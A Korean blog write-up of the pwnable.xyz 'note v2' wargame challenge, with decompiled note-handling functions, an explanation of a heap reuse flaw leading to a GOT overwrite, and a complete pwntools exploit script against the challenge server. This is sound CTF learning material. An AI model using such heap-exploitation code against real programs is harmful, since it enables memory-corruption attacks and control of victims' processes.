블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] note v2
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] note v2

728x90

 

1. 문제


1) mitigation 확인 

이번에는 PE가 안걸려 있다 

 

 

2) 문제 확인 

노트를 입력, 수정, 삭제, 출력 할수 있는 메뉴가 나온다. 

 

 

3) 코드 확인 

  • make_note() 함수
    int make_note()
    {
      _QWORD *v0; // rax
      int v1; // eax
      __int64 v2; // rcx
      int v4; // [rsp+4h] [rbp-Ch]
      void **buf; // [rsp+8h] [rbp-8h]
    
      if ( count <= 32 )
      {
        printf("size of note: ");
        v4 = read_int32();
        buf = (void **)malloc(0x28uLL);
        if ( !buf[4] )
          buf[4] = malloc(v4);
        printf("title: ");
        read(0, buf, 0x20uLL);
        printf("note: ");
        read(0, buf[4], v4 - 1);
        v1 = count++;
        v2 = v1;
        v0 = book;
        book[v2] = buf;
      }
      else
      {
        LODWORD(v0) = puts("Limit reached.");
      }
      return (int)v0;
    }

    해당 함수에서 초기에 고정 값 0x28으로 buf에 청크를 할당받는다. 해당 영역에 0x20 만큼 타이틀을 입력하고, buf[4]가 널값이라면, 해당 위치에 사용자가 입력한 사이즈만큼 한번더 청크를 할당받고, 그 주소를 buf[4]에 넣는다. 그리고 book 전역변수에 buf 주소를 저장한다.  

     

     

  • edit_note() 함수
    ssize_t edit_note()
    {
      ssize_t result; // rax
      size_t v1; // rax
      ssize_t v2; // [rsp+8h] [rbp-8h]
    
      result = get_note();
      v2 = result;
      if ( result )
      {
        printf("Title %s: ", result);
        v1 = strlen(*(const char **)(v2 + 0x20));
        result = read(0, *(void **)(v2 + 0x20), v1);
      }
      return result;
    }

    bss 영역에 있는 book 배열에서 인덱스를 선택해 수정이 가능하다. 아까 make_note에서 buf주소 +0x20 위치에 입력한 사이즈만큼 할당받은 청크 주소가 들어가 있고 이 주소에 note 내용이 들어가 있다. 따라서 해당 영역을 read 함수로 재입력 가능하다 

     

 

  • delete_note() 함수
    _QWORD *delete_note()
    {
      _QWORD *result; // rax
      int v1; // eax
      __int64 v2; // rdx
    
      result = (_QWORD *)get_note();
      if ( result )
      {
        free((void *)result[4]);
        v1 = count--;
        v2 = v1;
        result = book;
        book[v2] = 0LL;
      }
      return result;
    }

    해당 함수에서 free가 진행되는데, 특이한 것은 note가 입력된 청크만 free시킨다는 것이다. free된 영역은 book 배열에서 0으로 초기화 시킨다. 

     

 

 

 

2. 접근방법


title의 마지막 부분에 note가 들어가는 청크 주소가 입력되어있다. 초기에 make_note 호출시 size를 0x28과 동일하게 입력하고, title에는 아무값, note 부분에 0x20 더미 + 0x8 got주소 이렇게 입력한다. 

 

그후에 free를 시키면 note 영역이 fastbin에 들어간다. 이때 make_note를 한번더 호출하게 된다면 fastbin에 존재하는 아까 free된 note 영역을 재할당 받게 되고, buf[4] 위치에 현재 got 주소를 박아놨기 때문에,  

if ( !buf[4] )
      buf[4] = malloc(v4);

이 부분을 건너띄게 된다. 그다음 buf[4]에 read함수로 입력을 하는데, 여기에 win함수의 주소를 넣어서 got_overwrite를 하면 끝이다. 

 

 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30030)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xc8b+$code\n')

def make_note(size,title,note):
        pause()
        p.sendafter("> ",str(1))
        p.sendafter("size of note: ",str(size))
        p.sendafter("title: ",str(title))
        p.sendafter("note: ",str(note))

def edit_note(index,note):
        p.sendlineafter("> ",p32(0x2))
        p.sendlineafter("Note#: ",str(index))
        p.sendafter(": ",str(note))

def delete_note(index):
        p.sendafter("> ",str(0x3))
        p.sendafter("Note#: ",str(index))


make_note(40,"A"*8,"B"*0x20+p32(0x602020))
#p.sendafter("> ","5")
#make_note(30,"A"*8,"B"*8)

delete_note(0)

make_note(40,"A",p64(0x40096C))

p.sendlineafter("> ","5")

p.interactive()

 

 

 

 

4. 몰랐던 개념


  • none
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Dirty Turtle  (0) 2020.05.14
[pwnable.xyz] Hero Factory  (0) 2020.05.13
[pwnable.xyz] badayum  (0) 2020.05.12
[pwnable.xyz] password  (2) 2020.05.12
[pwnable.xyz] Punch it  (0) 2020.05.11